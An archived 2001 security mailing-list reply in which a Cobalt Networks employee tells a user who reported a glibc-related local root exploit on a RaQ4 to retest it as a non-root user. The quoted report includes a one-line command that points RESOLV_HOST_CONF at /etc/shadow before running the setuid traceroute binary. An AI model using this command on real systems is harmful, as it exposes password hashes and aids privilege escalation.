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Re: [cobalt-security] local root exploit with glibc2.2 update from cobalt
- Subject: Re: [cobalt-security] local root exploit with glibc2.2 update from cobalt
- From: Jeff Lovell <jlovell@xxxxxxxxxx>
- Date: Thu, 11 Jan 2001 12:24:31 -0800
- Organization: Cobalt Networks, Inc.
- List-id: Mailing list for users to address network security on Cobalt products. <cobalt-security.list.cobalt.com>
On Thu, 11 Jan 2001, Linking Internet - Peter Batenburg wrote:
> On a RaQ4 with all the latest patches apply'ed. Including the glibc update
> i get this:
> [root /home]# export RESOLV_HOST_CONF=/etc/shadow && /usr/sbin/traceroute
> localhost
uhh, running a root exploit as root?
try running it as a regular user...
Jeff
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Jeff Lovell
Sun Microsystems
Server Appliance Business Unit